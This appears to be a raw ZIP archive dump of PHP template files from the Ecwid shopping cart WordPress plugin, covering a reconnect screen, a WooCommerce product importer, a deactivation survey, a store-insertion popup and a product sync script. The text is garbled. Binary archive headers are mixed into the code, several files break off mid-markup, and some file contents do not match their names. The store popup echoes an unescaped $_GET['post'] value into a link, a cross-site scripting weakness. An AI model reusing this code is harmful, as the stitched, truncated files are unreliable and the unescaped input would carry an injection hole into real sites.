<div class="media-modal-backdrop"></div> </div>PK������Ê—['§aw��w��/��ecwid-shopping-cart/templates/reconnect-sso.phpnu�„[µü¤��������<div class="wrap ecwid-admin ecwid-connect ecwid-reconnect-allow-sso"> <div class="ec-store-box"> <?php require ECWID_PLUGIN_DIR . 'templates/admin-head.php'; ?> <div class="main-wrap"> <div class="column"> <h4><?php _e('Your store Control Panel. Right here in WordPress.', 'ecwid-shopping-cart'); ?></h4> <p class="note"><?php _e('Manage products, track sales, adjust settings - <nobr>All without</nobr> leaving this page.', 'ecwid-shopping-cart'); ?></p> <div class="connect-button"> <a href="admin-post.php?action=ec_connect&reconnect"><?php _e( 'Re-connect to Enable Control Panel', 'ecwid-shopping-cart' ); ?></a> </div> </div> <div class="column"> <img src="<?php echo(esc_attr(ECWID_PLUGIN_URL)); ?>/images/new-feature.png" /> </div> </div> </div> <?php require_once ECWID_PLUGIN_DIR . 'templates/admin-footer.php'; ?> </div>PK������Ê—[™Iúþ­��­��:��ecwid-shopping-cart/templates/shortcode-pb-placeholder.phpnu�„[µü¤��������echo sprintf( __( 'Imported <b>%s</b> products', 'ecwid-shopping-cart' ), '<span id="import-results-products">0</span>' ); if ( ecwid_is_paid_account() ) { echo ", "; echo sprintf( __( '<b>%s</b> categories', 'ecwid-shopping-cart' ), '<span id="import-results-categories">0</span>' ); } ?> </div> <div class="cta-block__content" data-ec-importer-alert="warning"> <?php _e( 'Some of the items could not be imported.', 'ecwid-shopping-cart' ); ?> <span data-ec-importer-alert="limit"> <?php echo sprintf( __( 'Part of the products have not been copied to %1$s, because you reached the products limit on your pricing plan in %1$s. If you want to import more products, please consider <nobr><a %2$s>upgrading your %1$s plan.</a></nobr>', 'ecwid-shopping-cart' ), Ecwid_Config::get_brand(), 'href="' . $this->_get_billing_page_url() .'"' ); ?> </span> </div> <div class="cta-block__content" data-ec-importer-alert="warning"> <?php echo sprintf( __( 'Download <a href="%s">import log</a>', 'ecwid-shopping-cart' ), 'admin-post.php?action=' . Ecwid_Import_Page::ACTION_GET_WOO_IMPORT_LOG ); ?> </div> </div> <div class="cta-block__cta"> <a class="btn btn-primary btn-medium" href="admin.php?page=<?php echo Ecwid_Admin::ADMIN_SLUG; ?>-admin-products"> <?php echo sprintf( __('Go to Your %s Products', 'ecwid-shopping-cart' ), Ecwid_Config::get_brand() ); ?> </a> </div> </div> </div> </div> </div> </div>PK������Ê—[4Åé �� ��7��ecwid-shopping-cart/templates/importer/woo-main.tpl.phpnu�„[µü¤��������<div class="settings-page"> <div class="settings-page__header"> <div class="settings-page__titles settings-page__titles--left"> <h1 class="settings-page__title"><?php echo sprintf( __( 'Import Your Products From Woocommerce to %s', 'ecwid-shopping-cart' ), Ecwid_Config::get_brand() ); ?></h1> <div class="settings-page__subtitle"></div> </div> <?php if( $this->_is_token_ok() ) { require __DIR__ . '/woo-complete-alert.tpl.php'; } ?> <div class="named-area"> <div class="named-area__header"> <div class="named-area__titles"> <div class="named-area__title"><?php _e( 'Update your catalog', 'ecwid-shopping-cart' ); ?></div> <div class="named-area__subtitle"><?php echo sprintf( __( 'This import will copy your WooCommerce products and categories to your %s store.', 'ecwid-shopping-cart' ), Ecwid_Config::get_brand() ); ?></div> </div> </div> <div class="named-area__body"> <div class="a-card-stack" data-ec-importer-card-stack> <div class="a-card a-card--normal"> <div class="a-card__paddings"> <div class="feature-element has-picture"> <div class="feature-element__core"> <div class="feature-element__data"> <div class="feature-element__title" data-ec-importer-state="default"><?php echo sprintf( __( 'Import your products from Woocommerce to %s', 'ecwid-shopping-cart' ), Ecwid_Config::get_brand() ); ?></div> <div class="feature-element__title" data-ec-importer-state="process"><?php _e( 'Import is in Progress', 'ecwid-shopping-cart' ); ?></div> <div class="feature-element__title" data-ec-importer-state="complete"><?php echo sprintf( __( 'Import your products from WooCommerce to %s', 'ecwid-shopping-cart' ), Ecwid_Config::get_brand() ); ?></div> <?php if( !$this->_is_token_ok() ) { require __DIR__ . '/import-no-token.tpl.php'; } ?> <?php if( $this->_is_token_ok() ){?> <div class="feature-element__status" data-ec-importer-state="complete"> <span class="feature-element__status-title success"> <?php echo sprintf( __( 'Import completed. <a href="%s">Run again.</a>', 'ecwid-shopping-cart' ), admin_url( 'admin.php?page=' . Ecwid_Import_Page::PAGE_SLUG_WOO ) ); ?> </span> </div> <div class="feature-element__status" data-ec-importer-state="process"> <div class="canonical-status canonical-status--has-icon canonical-status--loading canonical-status--prepend-icon canonical-status--warning"> <div class="canonical-status__text"> <?php _e( 'Copying products and categories.', 'ecwid-shopping-cart' ); ?> <?php echo sprintf( __( 'Importing %s of %s items', 'ecwid-shopping-cart' ), '<span id="import-progress-current">0</span>', '<span id="import-progress-total">' . (Ecwid_Importer::count_woo_products() + Ecwid_Importer::count_woo_categories()) . '</span>' ); ?> </div> <div class="canonical-status__text" data-ec-importer-process-images style="display: none;"> <?php _e( 'Copying images.', 'ecwid-shopping-cart' ); ?> <?php echo sprintf( __( 'Importing %s of %s items', 'ecwid-shopping-cart' ), '<span id="import-images-progress-current">0</span>', '<span id="import-images-progress-total">0</span>' ); ?> </div> <div class="canonical-status__icon"> <span> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 28 28" width="28" height="28" focusable="false"> <path d="M14,27C6.83,27,1,21.17,1,14c0-1.56,0.27-3.08,0.81-4.52C2.1,8.7,2.96,8.31,3.74,8.59c0.78,0.29,1.17,1.15,0.88,1.93 C4.21,11.63,4,12.8,4,14c0,5.51,4.49,10,10,10c5.51,0,10-4.49,10-10c0-5.51-4.49-10-10-10c-0.83,0-1.5-0.67-1.5-1.5S13.17,1,14,1 c7.17,0,13,5.83,13,13C27,21.17,21.17,27,14,27z"></path> </svg> </span> </div> </div> </div> <div class="feature-element__content"> <div class="feature-element__text"> <p> <?php _e( 'Import creates new products and update the existing products with matching SKUs.', 'ecwid-shopping-cart' ); ?> <?php if ( !Ecwid_Config::is_wl() ) { echo sprintf( __( 'Please mind the maximum number of products and categories you can have in your Ecwid store. This import tool will automatically stop when the store products limit is reached. To check the current store limit or increase it, please see the <nobr><a %s target="_blank">"Billing & Plans"</a></nobr> page in your Ecwid store control panel.', 'ecwid-shopping-cart'), 'href="admin.php?page=ec-store-admin-billing"' ); } ?> </p> </div> <div class="feature-element__action" data-ec-importer-state="default"> <button type="button" class="btn btn-primary btn-medium" id="ec-importer-woo-go"> PK������Ê—[³`G^T���T���;��ecwid-shopping-cart/templates/shortcode-stub-buynow.tpl.phpnu�„[µü¤�������� </div> </div> <?php }?> </div> <div PK������Ê—[+sk‰ �� ��:��ecwid-shopping-cart/templates/shortcode-stub-store.tpl.phpnu�„[µü¤��������es/importer/import-picture-feature.png" alt="" /> </div> </div> </div> </div> </div> <?php if( $this->_is_token_ok() ) { require __DIR__ . '/woo-summary.tpl.php'; } ?> </div> </div> </div> </div> </div> PK������Ê—[åïkÉ��É��:��ecwid-shopping-cart/templates/importer/woo-summary.tpl.phpnu�„[µü¤��������<div class="a-card a-card--normal" data-ec-importer-state="default"> <div class="a-card__paddings"> <ul class="titled-items-list"> <li class="titled-items-list__item titled-item"> <div class="titled-item__title"><?php _e( 'Import summary', 'ecwid-shopping-cart' ); ?></div> <div class="titled-item__content"> — <?php _e( 'Your WooCommerce store has ', 'ecwid-shopping-cart' ); echo $this->_get_products_categories_message( Ecwid_Importer::count_woo_products(), Ecwid_Importer::count_woo_categories() ); ?> </div> <div class="titled-item__content"> — <?php printf( __( 'Your %s store has ', 'ecwid-shopping-cart' ), Ecwid_Config::get_brand() ); echo $this->_get_products_categories_message( Ecwid_Importer::count_ecwid_products(), Ecwid_Importer::count_ecwid_categories() ); ?> </div> <div class="titled-item__content"> — <?php echo sprintf( __( 'After import, your %s store will have ', 'ecwid-shopping-cart' ), Ecwid_Config::get_brand() ); echo $this->_get_products_categories_message( Ecwid_Importer::count_ecwid_products() + Ecwid_Importer::count_woo_products(), Ecwid_Importer::count_ecwid_categories() + Ecwid_Importer::count_woo_categories() ); ?> </div> </li> </ul> </div> </div>PK������Ê—[������������=��ecwid-shopping-cart/templates/importer/post-catalog/index.phpnu�ÏÃ6Ç$��������PK������Ê—[²èkZ����2��ecwid-shopping-cart/templates/popup/deactivate.phpnu�„[µü¤��������<h3><?php _e( 'If you have a moment, please let us know why you are deactivating:', 'ecwid-shopping-cart' ); ?></h3> <ul class="reasons-list"> <?php foreach ( $reasons as $key => $reason ): ?> <li class="reasons-list-item" data-option-key="<?php echo $key; ?>"> <label> <span> <input type="radio" name="reason" value="<?php echo $key; ?>" data-text="<?php esc_attr_e( $reason['text'] ); ?>"/> </span> <span> <?php echo $reason['text']; ?> </span> </label> <?php if ( @$reason['has_message'] ): ?> <div class="message"> <textarea name="message[<?php echo $key; ?>]" placeholder="<?php echo $reason['message_hint']; ?>"><?php if($reason['code'] == 'theme'){ echo $reason['message_hint']; } ?></textarea> </div> <?php endif; ?> </li> <?php endforeach; ?> </ul> <div class="bottom-support-link"> <a href="#"><?php _e( 'Contact Support', 'ecwid-shopping-cart' ); ?></a> </div>PK������Ê—[µÝ‡ ¯���¯���.��ecwid-shopping-cart/templates/popup/footer.phpnu�„[µü¤��������<?php foreach ( $this->_get_footer_buttons() as $button ): ?> <button class="button <?php echo $button->class; ?>"><?php echo $button->title; ?></button> <?php endforeach; ?> PK������Ê—[nf,���,���.��ecwid-shopping-cart/templates/popup/header.phpnu�„[PK������Ê—[ßZÚñ��ñ��4��ecwid-shopping-cart/templates/shortcode-stub.tpl.phpnu�„[µü¤��������<div class="ecwid-shortcode-stub"> <div class="ecwid-shortcode-stub-header"><svg aria-hidden="true" role="img" focusable="false" xmlns="http://www.w3.org/2000/svg" class="dashicon" width="20" height="20" viewBox="0 0 20 20"><path d="M15.32,15.58c-0.37,0-0.66,0.3-0.66,0.67c0,0.37,0.3,0.67,0.66,0.67c0.37,0,0.67-0.3,0.67-0.67 C15.98,15.88,15.69,15.58,15.32,15.58z M15.45,0H4.55C2.04,0,0,2.04,0,4.55v10.91C0,17.97,2.04,20,4.55,20h10.91c2.51,0,4.55-2.04,4.55-4.55V4.55 C20,2.04,17.96,0,15.45,0z M12.97,4.94C13.54,4.94,14,5.4,14,5.96s-0.46,1.03-1.03,1.03c-0.57,0-1.03-0.46-1.03-1.03 C11.95,5.4,12.41,4.94,12.97,4.94z M12.97,8.02c0.57,0,1.03,0.46,1.03,1.03c0,0.57-0.46,1.03-1.03,1.03c-0.57,0-1.03-0.46-1.03-1.03 C11.95,8.48,12.41,8.02,12.97,8.02z M9.98,4.94c0.57,0,1.03,0.46,1.03,1.03s-0.46,1.03-1.03,1.03c-0.57,0-1.03-0.46-1.03-1.03 C8.95,5.4,9.41,4.94,9.98,4.94z M9.98,8.02c0.57,0,1.03,0.46,1.03,1.03s-0.46,1.03-1.03,1.03c-0.57,0-1.03-0.46-1.03-1.03 C8.95,8.48,9.41,8.02,9.98,8.02z M7.03,4.94c0.57,0,1.03,0.46,1.03,1.03S7.6,6.99,7.03,6.99C6.46,6.99,6,6.53,6,5.96 C6,5.4,6.46,4.94,7.03,4.94z M7.03,8.02c0.57,0,1.03,0.46,1.03,1.03s-0.46,1.03-1.03,1.03C6.46,10.08,6,9.62,6,9.05 C6,8.48,6.46,8.02,7.03,8.02z M4.6,18.02c-1.02,0-1.86-0.83-1.86-1.86c0-1.03,0.83-1.86,1.86-1.86c1.03,0,1.86,0.83,1.86,1.86 C6.45,17.19,5.62,18.02,4.6,18.02z M15.32,18.1c-1.02,0-1.86-0.83-1.86-1.86c0-1.03,0.83-1.86,1.86-1.86c1.03,0,1.86,0.83,1.86,1.86 C17.17,17.27,16.34,18.1,15.32,18.1z M18.48,2.79l-1.92,7.14c-0.51,1.91-2.03,3.1-4,3.1H7.2c-1.91,0-3.26-1.09-3.84-2.91L1.73,5 C1.7,4.9,1.72,4.79,1.78,4.71c0.06-0.09,0.16-0.14,0.27-0.14l0.31,0c0.75,0,1.41,0.49,1.64,1.2l1.2,3.76 c0.32,1.02,1.26,1.7,2.33,1.7h4.81c1.1,0,2.08-0.74,2.36-1.81l1.55-5.78c0.2-0.75,0.89-1.28,1.67-1.28h0.24 c0.1,0,0.2,0.05,0.26,0.13C18.48,2.58,18.5,2.68,18.48,2.79z M4.6,15.5c-0.37,0-0.66,0.3-0.66,0.67c0,0.37,0.3,0.67,0.66,0.67c0.37,0,0.67-0.3,0.67-0.67 S4.96,15.5,4.6,15.5z"></path></svg> <?php echo $message; ?> </div> </div>PK������Ê—[«<ðøW:��W:��-��ecwid-shopping-cart/templates/store-popup.phpnu�„[µü¤��������<script data-cfasync="false" type="text/javascript"> var ecwid_store_svg = '<?php echo get_site_url('', 'index.php?file=ecwid_store_svg.svg'); ?>'; </script> <div id="ecwid-store-popup-content"> <div class="media-modal wp-core-ui"> <div class="media-modal-content"> <a class="media-modal-close" href="#" title="Close"><span class="media-modal-icon"></span></a> <div class="media-frame wp-core-ui hide-router"> <div class="media-frame-menu"> <div class="media-menu"> <a href="#" class="media-menu-item" data-content="add-store"><?php _e('Add Store', 'ecwid-shopping-cart'); ?></a> <a href="#" class="media-menu-item" data-content="store-settings"><?php _e('Store elements', 'ecwid-shopping-cart'); ?></a> <?php if (ecwid_is_legacy_appearance_used()): ?> <a href="#" class="media-menu-item" data-content="appearance"><?php _e('Appearance', 'ecwid-shopping-cart'); ?></a> <?php endif; ?> </div> </div> <div class="media-frame-title add-store"> <h1> <?php _e('Add Store', 'ecwid-shopping-cart'); ?><span class="dashicons dashicons-arrow-down"></span> </h1> </div> <div class="media-frame-title store-settings"> <h1> <?php _e('Store elements', 'ecwid-shopping-cart'); ?><span class="dashicons dashicons-arrow-down"></span> </h1> </div> <?php if (ecwid_is_legacy_appearance_used()): ?> <div class="media-frame-title appearance"> <h1> <?php _e('Appearance', 'ecwid-shopping-cart'); ?><span class="dashicons dashicons-arrow-down"></span> </h1> </div> <?php endif; ?> <div class="media-frame-content ecwid-store-editor store-settings"> <div class="store-settings-wrapper"> <div class="store-settings-preview"> <?php ecwid_embed_svg('add-store'); ?> <label for="show_search" class="ecwid-search" data-ecwid-widget="search"></label> <label for="show_categories" class="ecwid-categories" data-ecwid-widget="categories"></label> <?php if ( !get_option( 'ecwid_hide_old_minicart' ) ): ?> <label for="show_minicart" class="ecwid-minicart" data-ecwid-widget="minicart"></label> <?php endif; ?> </div> <div class="store-settings"> <h3><?php _e('Choose widgets to show', 'ecwid-shopping-cart'); ?></h3> <p class="note"><?php _e('Product catalog will be shown automatically', 'ecwid-shopping-cart'); ?></p> <div class="pure-control-group"> <label data-ecwid-widget="search"> <input type="checkbox" name="show_search" id="show_search" /> <?php _e('Show search', 'ecwid-shopping-cart'); ?> </label> </div> <?php if ( !get_option( 'ecwid_hide_old_minicart' ) ): ?> <div class="pure-control-group"> <label data-ecwid-widget="minicart"> <input type="checkbox" name="show_minicart" id="show_minicart" /> <?php _e('Show minicart', 'ecwid-shopping-cart'); ?> </label> </div> <?php endif; ?> <div class="pure-control-group"> <label data-ecwid-widget="categories"> <input type="checkbox" name="show_categories" id="show_categories" /> <?php _e('Show categories', 'ecwid-shopping-cart'); ?> </label> </div> <div class="note"> <?php echo sprintf( __('Additionally, you can add store controls to your website\'s toolbar using <a %s>WordPress native widgets</a>', 'ecwid-shopping-cart'), ' target="_blank" href="widgets.php?from-ec-store=' . (isset($_GET['post']) ? $_GET['post'] : 'new') . '"' ); ?> </div> <div class="pure-control-group params-list default-category-id"> <?php if ($categories): ?> <label for="ecwid_default_category_id"> <?php _e('Category shown by default', 'ecwid-shopping-cart'); ?> </label> <div class="value"> <select name="default_category_id" id="ecwid_default_category_id"> <option value="0"<?php if (!get_option('ecwid_default_category_id')): ?> selected="selected"<?php endif; ?>> <?php _e('Store root category', 'ecwid-shopping-cart'); ?> </option> <?php foreach ($categories as $category): ?> <option value="<?php echo esc_attr($category->id); ?>" <?php if ($category->id == get_option('ecwid_default_category_id')): ?> selected="selected" <?php endif; ?> > <?php echo esc_html($category->path); ?> </option> <?php endforeach; ?> </select> </div> <?php endif; ?> </div> </div> </div> </div> <?php if (ecwid_is_legacy_appearance_used()): ?> <div class="media-frame-content ecwid-store-editor appearance"> <div class="pure-control-group pb-views"> <label class="products-per-page-label"><?php _e('Number of products per page', 'ecwid-shopping-cart'); ?></label> <div class="ecwid-pb-view-size grid active" tabindex="1"> <div class="title"><?php _e('Grid view', 'ecwid-shopping-cart'); ?></div> <div class="main-area"> <?php ecwid_embed_svg('grid'); ?> </div> <div class="right"> <div class="ruler"></div> <input type="text" size="2" name="grid_rows" class="number" value="<?php echo esc_attr(get_option('ecwid_pb_productspercolumn_grid')); ?>" /> </div> <div class="bottom"> <div class="ruler"></div> <input type="text" size="2" name="grid_columns" class="number" value="<?php echo esc_attr(get_option('ecwid_pb_productsperrow_grid')); ?>" /> </div> </div> <div class="ecwid-pb-view-size list" tabindex="1"> <div class="title"><?php _e('List view', 'ecwid-shopping-cart'); ?></div> <div class="main-area"> <?php ecwid_embed_svg('list'); ?> </div> <div class="right"> <div class="ruler"></div> <input type="text" size="2" name="list_rows" class="number" value="<?php echo esc_attr(get_option('ecwid_pb_productsperpage_list')); ?>" /> </div> </div> <div class="ecwid-pb-view-size table" tabindex="1"> <div class="title"><?php _e('Table view', 'ecwid-shopping-cart'); ?></div> <div class="main-area"> <?php ecwid_embed_svg('table'); ?> </div> <div class="right"> <div class="ruler"></div> <input type="text" size="2" name="table_rows" class="number" value="<?php echo esc_attr(get_option('ecwid_pb_productsperpage_table')); ?>" /> </div> </div> <p class="note pb-note"><?php printf( __( 'Here you can control how many products will be displayed per page. These options define maximum values. If there is not enough space to show all product columns, %s will adapt the number of columns to hold all products.', 'ecwid-shopping-cart' ), Ecwid_Config::get_brand() ); ?></p> </div> <hr class="after-pb" /> <div class="pure-control-group params-list"> <label for="ecwid_pb_categoriesperrow"> <?php _e('Number of categories per row', 'ecwid-shopping-cart'); ?> </label> <input id="ecwid_pb_categoriesperrow" name="categories_per_row" type="text" class="number" value="<?php echo esc_attr(get_option('ecwid_pb_categoriesperrow')); ?>" /> </div> <div class="pure-control-group params-list"> <label for="ecwid_pb_defaultview"> <?php _e('Default view mode on product pages', 'ecwid-shopping-cart'); ?> </label> <select id="ecwid_pb_defaultview" name="category_view"> <option value="grid" <?php if(get_option('ecwid_pb_defaultview') == 'grid') echo 'selected="selected"' ?> > <?php _e('Grid', 'ecwid-shopping-cart'); ?> </option> <option value="list" <?php if(get_option('ecwid_pb_defaultview') == 'list') echo 'selected="selected"' ?> > <?php _e('List', 'ecwid-shopping-cart'); ?> </option> <option value="table" <?php if(get_option('ecwid_pb_defaultview') == 'table') echo 'selected="selected"' ?> > <?php _e('Table', 'ecwid-shopping-cart'); ?> </option> </select> </div> <div class="pure-control-group params-list"> <label for="ecwid_pb_searchview"> <?php _e('Default view mode on search results', 'ecwid-shopping-cart'); ?> </label> <select id="ecwid_pb_searchview" name="search_view"> <option value="grid" <?php if(get_option('ecwid_pb_searchview') == 'grid') echo 'selected="selected"' ?> > <?php _e('Grid', 'ecwid-shopping-cart'); ?> </option> <option value="list" <?php if(get_option('ecwid_pb_searchview') == 'list') echo 'selected="selected"' ?> > <?php _e('List', 'ecwid-shopping-cart'); ?> </option> <option value="table" <?php if(get_option('ecwid_pb_searchview') == 'table') echo 'selected="selected"' ?> > <?php _e('Table', 'ecwid-shopping-cart'); ?> </option> </select> </div> </div> <?php endif; ?> <div class="media-frame-toolbar"> <div class="media-toolbar"> <div class="media-toolbar-secondary"> <?php if ( !ecwid_is_demo_store() ): ?> <div class="store-id"><?php _e('Store ID', 'ecwid-shopping-cart'); ?>: <?php echo esc_attr(get_ecwid_store_id()); ?></div> <?php else: ?> <div class="store-id"><?php _e('Demo store', 'ecwid-shopping-cart'); ?></div> <?php endif; ?> <div class="setting-link"> <a target="_blank" href="<?php echo Ecwid_Admin::get_dashboard_url(); ?>"><?php _e('Open store dashboard', 'ecwid-shopping-cart'); ?> </div> </div> <div class="media-toolbar-primary add-store"> <a href="#" class="button media-button button-primary button-large media-button-select"><?php _e('Insert into page'); ?></a> </div> <div class="media-toolbar-primary store-settings"> <a href="#" class="button media-button button-primary button-large media-button-select"><?php _e('Update'); ?></a> </div> </div> </div> </div> </div> </div> <div class="media-modal-backdrop"></div> </div> <?php if ( get_option( 'ecwid_hide_old_minicart' ) ): ?> <script> jQuery('.ecwid-store-editor path.minicart').hide(); </script> <?php endif; ?> PK������Ê—[°õ^S ��S ��+��ecwid-shopping-cart/templates/store-svg.phpnu�„[µü¤��������<?php echo '<?xml version="1.0" encoding="utf-8"?>' . "\n"; echo '<?xml-stylesheet type="text/css" href="https://fonts.googleapis.com/css?family=Open+Sans%3A300italic%2C400italic%2C600italic%2C300%2C400%2C600&subset=latin%2Clatin-ext&ver=3.9.2" ?>'; ?><!-- Generator: Adobe Illustrator 18.0.0, SVG Export Plug-In . SVG Version: 6.00 Build 0) --> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"> <svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" viewBox="0 0 500 220" enable-background="new 0 0 500 220" xml:space="preserve"> <text x="250" y="93" text-anchor="middle" fill="#050303" font-family="Open Sans,Helvetica Neue,sans-serif" font-size="20"><?php _e('Your store will be shown here!', 'ecwid-shopping-cart'); ?></text> <text x="250" y="115" text-anchor="middle" fill="#999999" font-family="Open Sans,Helvetica Neue,sans-serif" font-size="14"> <?php if ( ecwid_is_demo_store() ): ?> <?php _e('Demo Store', 'ecwid-shopping-cart'); ?> <?php else: ?> <?php _e('Store ID', 'ecwid-shopping-cart'); ?>: <?php echo esc_attr(get_ecwid_store_id()); ?> <?php endif; ?> </text> <g transform="translate(0,-30)"> <path fill="#77B644" d="M225.7,82.3c0-0.4,0.3-0.8,0.8-0.8h41.1c0.4,0,0.8,0.3,0.8,0.8v1.6c0,0.4-0.3,0.8-0.8,0.8h-41.1 c-0.4,0-0.8-0.3-0.8-0.8V82.3z"/> <path fill="#77B644" d="M268.4,56.6c-1.6-3.3-2.4-6.5-3.3-11.9c0-0.3-0.7-1.3-1.6-1.3h-33c-0.9,0-1.6,1-1.6,1.3 c0,0-1.6,10.2-3.3,11.9c0,1.7,0,5,0,5s0,0.1,0.1,0.1h-0.1c0,0,0.1,0.8,1.2,1.3c0.1,0.1,0.3,0.2,0.5,0.2v0v14.9 c0,0.9,0.9,1.5,1.8,1.5h13V66c0-0.9,0.9-1.6,1.8-1.6h6.6c0.9,0,1.6,0.7,1.6,1.6v13.7h13.1c0.9,0,1.6-0.6,1.6-1.5V63.3v-0.1 c1.3-0.2,1.6-1.5,1.6-1.5h0c0-0.1,0-0.1,0-0.1S268.4,58.3,268.4,56.6z M238.5,73.1c0,0.9-0.4,1.6-1.3,1.6h-3.4 c-0.9,0-1.3-0.7-1.3-1.6v-6.6c0-0.9,0.4-1.6,1.3-1.6h3.4c0.9,0,1.3,0.7,1.3,1.6V73.1z M261.5,73.1c0,0.9-0.4,1.6-1.3,1.6h-3.4 c-0.9,0-1.3-0.7-1.3-1.6v-6.6c0-0.9,0.4-1.6,1.3-1.6h3.4c0.9,0,1.3,0.7,1.3,1.6V73.1z M261.8,46.4c0,0,1.8,8.4,2.8,10.2 c-1.6,0-4.5,0-4.5,0l-1.6-10.2H261.8z M264.8,58.3l0,1.3c-0.2,1.1-1.1,2-2.3,2c-1.3,0-2.3-0.8-2.3-2.1c0,0,0.1-1.2,0.1-1.2H264.8z M252.3,59.1l0-0.9h4.7l0,1.3c-0.2,1.1-1.1,2-2.3,2c-1.3,0-2.3-1-2.3-2.3C252.4,59.2,252.4,59.2,252.3,59.1L252.3,59.1z M255.2,46.4c0,0,1.2,8.2,1.8,10.2c0.5,0-4.6,0-4.6,0l-0.5-10.2H255.2z M245.3,46.4h3.4l0.6,10.2h-4.5L245.3,46.4z M244.7,58.3h4.6 l0,1.2c-0.1,1.2-1.1,2.1-2.3,2.1c-1.2,0-2.2-0.9-2.3-2.1L244.7,58.3z M238.7,46.4h3.3l-0.5,10.2c0,0-3.2,0-4.4,0 C237.6,54.8,238.7,46.4,238.7,46.4z M236.9,58.3h4.6l0,0.9h0c0,0,0,0.1,0,0.1c0,1.3-1,2.3-2.3,2.3c-1.2,0-2.1-0.9-2.3-2L236.9,58.3 z M232.1,46.4h3.2L234,56.6c0,0-3.3,0-4.5,0C230.8,54.3,232.1,46.4,232.1,46.4z M229.2,58.3h4.6c0,0,0,0.9,0,1c0,1.3-1,2.3-2.3,2.3 c-1.1,0-2.1-0.8-2.3-1.9L229.2,58.3z"/> </g> </svg> PK������Ê—[EYÍ•��•��&��ecwid-shopping-cart/templates/sync.phpnu�„[µü¤��������<div id="sync-container" class="state-initial"<?php if (!get_option('ecwid_local_base_enabled', false)) echo ' style="display:none"'; ?>> <?php $prods = new Ecwid_Products(); $api = new Ecwid_Api_V3(get_ecwid_store_id()); ?> <script> jQuery(document).ready(function() { jQuery('#sync-container').addClass('no-sse'); jQuery('#ecwid_local_base_enabled').click(function() { jQuery('#sync-container').css('display', (jQuery(this).is(':checked')) ? '' : 'none'); }); jQuery('#sync-button').click(function() { sync_by_chunks(); return false; }); var updatedFrom = '<?php echo $estimation['last_update']; ?>'; function do_no_sse_sync(mode, offset, limit, time) { jQuery.getJSON('admin-post.php?action=ecwid_sync_no_sse&mode=' + mode + '&offset=' + offset + '&limit=' + limit + '&time=' + updatedFrom, {}, process_no_sse_sync); } function process_no_sse_sync(data) { var mode = '<?php echo $estimation['last_update'] == 0 ? 'updated' : 'deleted'; ?>', offset = 0, limit = 20; var processed_updates = data.updated + data.created + data.deleted_disabled; var processed_deletes = data.deleted + data.skipped_deleted; if ( processed_updates + processed_deletes == 0 ) { jQuery('#sync-date').text( data.last_update ); return do_no_sse_over(); } update_no_sse_stuff(data); if (data.total == data.count + data.offset) { if (processed_updates > 0) { return do_no_sse_sync('updated', data.offset + limit, limit); } else { mode = 'updated'; } } else { if (processed_updates > 0) { mode = 'updated'; } offset = parseInt(data.offset) + parseInt(data.limit); } do_no_sse_sync(mode, offset, limit, updatedFrom); } function update_no_sse_stuff(data) { var counters = ['deleted', 'skipped_deleted', 'deleted_disabled']; for (var i = 0; i < counters.length; i++) { increment_progress_counter(data[counters[i]], 'deleted'); } var counters = ['created', 'updated']; for (var i = 0; i < counters.length; i++) { increment_progress_counter(data[counters[i]], 'updated'); } } function increment_progress_counter(increment = 1, counter_type) { debugger; if (increment == 0) { return; } var name = 'count_' + counter_type; var css = '#' + name; var current = jQuery(css).data('count'); if (!current) { current = increment; } else { current += increment; } jQuery(css).data('count', current).text(current); jQuery('#' + counter_type + '-progress').show(); } function do_no_sse_over() { jQuery('#sync-container').removeClass('state-in-progress').addClass('state-complete'); jQuery('#deleted-progress,#updated-progress').hide(); } jQuery('#sync-button-slow').click(function() { jQuery('#sync-container').removeClass('state-initial').addClass('state-in-progress'); var mode = '<?php echo $estimation['last_update'] == 0 ? 'updated' : 'deleted'; ?>', offset = 0, limit = 100; jQuery('#current_item').text('Started importing...'); do_no_sse_sync(mode, offset, limit); return false; }); jQuery('#sync-button_reset').click(function() { location.href='admin-post.php?action=ecwid_sync_reset'; return false; }); }); </script> <?php if ( !Ecwid_Api_V3::get_token() ): ?> <div> <?php _e( 'To enable this feature, the plugin needs a permission to read your store product information.', 'ecwid-shopping-cart' ); ?> <a href="<?php echo get_reconnect_link(); ?>"><?php _e( 'Provide access.', 'ecwid-shopping-cart' ); ?></a> </div> <?php else: ?> <div class="sync-block" id="sync-buttons"> <a id="sync-button-slow"><?php _e('Synchronize products', 'ecwid-shopping-cart'); ?></a> </div> <div class="sync-block progress-indicator" id="updating"> <div class="sync-icon"> <?php ecwid_embed_svg('update'); ?> </div> <div> <?php _e('We\'re synchronizing your products. This may take a few minutes. Please do not reload the page.', 'ecwid-shopping-cart'); ?> </div> </div> <div class="sync-block" id="deleted-progress"> <?php echo sprintf(__( 'Deleted products synchronized: %1$s out of %2$s', 'ecwid-shopping-cart' ), '<span id="count_deleted">0</span>', '<span id="total_deleted">' . ($estimation['total_deleted']) . '</span>' ); ?> </div> <div class="sync-block" id="updated-progress"> <?php echo sprintf(__( 'Products synchronized: %1$s out of %2$s', 'ecwid-shopping-cart' ), '<span id="count_updated">0</span>', '<span id="total_updated">' . ($estimation['total_updated']) . '</span>' ); ?> </div> <div class="sync-block" id="complete"> <?php _e( 'Products are successfully synchronized. The product pages are up to date.', 'ecwid-shopping-cart' ); ?> </div> <div class="sync-block" id="last-sync-date"> <?php _e( 'Last update', 'ecwid-shopping-cart' ); ?>: <span id="sync-date"> <?php if ( $estimation['last_update'] == 0 ): ?> <?php _e( 'Not synchronized yet', 'ecwid-shopping-cart' ); ?> <?php else: ?> <?php echo ecwid_format_date( $estimation['last_update'] ); ?> <?php endif; ?> </span> </div> <?php endif; ?> </div>PK������Ê—[ �Ã����1��ecwid-shopping-cart/templates/widget-stub.tpl.phpnu�„[µü¤��������<div class="ecwid-widget-stub <?php echo $classname;?>"> <div class="ecwid-widget-stub-header"><svg aria-hidden="true" role="img" focusable="false" xmlns="http://www.w3.org/2000/svg" class="dashicon" width="20" height="20" viewBox="0 0 20 20"><path d="M15.32,15.58c-0.37,0-0.66,0.3-0.66,0.67c0,0.37,0.3,0.67,0.66,0.67c0.37,0,0.67-0.3,0.67-0.67 C15.98,15.88,15.69,15.58,15.32,15.58z M15.45,0H4.55C2.04,0,0,2.04,0,4.55v10.91C0,17.97,2.04,20,4.55,20h10.91c2.51,0,4.55-2.04,4.55-4.55V4.55 